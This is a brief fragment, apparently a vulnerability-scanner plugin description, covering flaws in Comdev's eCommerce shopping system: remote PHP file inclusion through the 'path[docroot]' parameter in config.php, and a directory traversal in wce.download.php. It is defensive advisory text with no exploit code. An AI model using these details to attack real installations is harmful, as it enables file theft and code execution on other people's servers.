"The remote host is running eCommerce, a web-based shopping system from
Comdev. 

The installed version of eCommerce allows remote attackers to control
the 'path[docroot]' parameter used when including PHP code in the
'config.php' script.  By leveraging this flaw, an attacker may be able
to view arbitrary files on the remote host and execute arbitrary PHP
code, possibly taken from third-party hosts. 

There is also a directory traversal vulnerability in the product
involving the 'wce.download.php' script, by which an attacker can read
the contents of arbitrary files on the remote host." );
